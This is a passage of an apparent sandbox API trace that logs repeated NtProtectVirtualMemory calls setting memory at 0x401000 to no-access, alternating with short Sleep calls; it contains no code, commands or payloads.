BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.751] Sleep (dwMilliseconds=0x5) [0241.819] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.820] Sleep (dwMilliseconds=0x5) [0241.908] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.911] Sleep (dwMilliseconds=0x5) [0241.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.995] Sleep (dwMilliseconds=0x5) [0242.060] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.061] Sleep (dwMilliseconds=0x5) [0242.143] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.144] Sleep (dwMilliseconds=0x5) [0242.195] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.195] Sleep (dwMilliseconds=0x5) [0242.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.244] Sleep (dwMilliseconds=0x5) [0242.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.294] Sleep (dwMilliseconds=0x5) [0242.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.338] Sleep (dwMilliseconds=0x5) [0242.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.397] Sleep (dwMilliseconds=0x5) [0242.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.459] Sleep (dwMilliseconds=0x5) [0242.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.528] Sleep (dwMilliseconds=0x5) [0242.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.576] Sleep (dwMilliseconds=0x5) [0242.687] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.696] Sleep (dwMilliseconds=0x5) [0242.746] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.747] Sleep (dwMilliseconds=0x5) [0242.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.791] Sleep (dwMilliseconds=0x5) [0242.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.856] Sleep (dwMilliseconds=0x5) [0242.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.927] Sleep (dwMilliseconds=0x5) [0243.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.006] Sleep (dwMilliseconds=0x5) [0243.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.068] Sleep (dwMilliseconds=0x5) [0243.208] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.209] Sleep (dwMilliseconds=0x5) [0243.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.264] Sleep (dwMilliseconds=0x5) [0243.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.376] Sleep (dwMilliseconds=0x5) [0243.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.446] Sleep (dwMilliseconds=0x5) [0243.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.494] Sleep (dwMilliseconds=0x5) [0243.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.538] Sleep (dwMilliseconds=0x5) [0243.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.620] Sleep (dwMilliseconds=0x5) [0243.663] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.664] Sleep (dwMilliseconds=0x5) [0243.709] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.710] Sleep (dwMilliseconds=0x5) [0243.763] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.764] Sleep (dwMilliseconds=0x5) [0243.802] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.803] Sleep (dwMilliseconds=0x5) [0243.852] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.852] Sleep (dwMilliseconds=0x5) [0243.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.928] Sleep (dwMilliseconds=0x5) [0243.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0243.990] Sleep (dwMilliseconds=0x5) [0244.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.068] Sleep (dwMilliseconds=0x5) [0244.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.177] Sleep (dwMilliseconds=0x5) [0244.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.271] Sleep (dwMilliseconds=0x5) [0244.351] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.351] Sleep (dwMilliseconds=0x5) [0244.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.402] Sleep (dwMilliseconds=0x5) [0244.446] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.447] Sleep (dwMilliseconds=0x5) [0244.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.514] Sleep (dwMilliseconds=0x5) [0244.559] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.560] Sleep (dwMilliseconds=0x5) [0244.663] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.664] Sleep (dwMilliseconds=0x5) [0244.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.719] Sleep (dwMilliseconds=0x5) [0244.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.759] Sleep (dwMilliseconds=0x5) [0244.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.808] Sleep (dwMilliseconds=0x5) [0244.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.858] Sleep (dwMilliseconds=0x5) [0244.908] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.909] Sleep (dwMilliseconds=0x5) [0244.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0244.953] Sleep (dwMilliseconds=0x5) [0245.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.027] Sleep (dwMilliseconds=0x5) [0245.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.072] Sleep (dwMilliseconds=0x5) [0245.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.145] Sleep (dwMilliseconds=0x5) [0245.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.213] Sleep (dwMilliseconds=0x5) [0245.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.271] Sleep (dwMilliseconds=0x5) [0245.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.353] Sleep (dwMilliseconds=0x5) [0245.427] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.427] Sleep (dwMilliseconds=0x5) [0245.486] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.487] Sleep (dwMilliseconds=0x5) [0245.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.542] Sleep (dwMilliseconds=0x5) [0245.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.654] Sleep (dwMilliseconds=0x5) [0245.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.748] Sleep (dwMilliseconds=0x5) [0245.788] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.788] Sleep (dwMilliseconds=0x5) [0245.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.863] Sleep (dwMilliseconds=0x5) [0245.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.962] Sleep (dwMilliseconds=0x5) [0246.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.056] Sleep (dwMilliseconds=0x5) [0246.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.124] Sleep (dwMilliseconds=0x5) [0246.171] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.172] Sleep (dwMilliseconds=0x5) [0246.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.268] Sleep (dwMilliseconds=0x5) [0246.314] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.315] Sleep (dwMilliseconds=0x5) [0246.372] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.372] Sleep (dwMilliseconds=0x5) [0246.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.639] Sleep (dwMilliseconds=0x5) [0246.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.717] Sleep (dwMilliseconds=0x5) [0246.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.767] Sleep (dwMilliseconds=0x5) [0246.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.811] Sleep (dwMilliseconds=0x5) [0246.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, 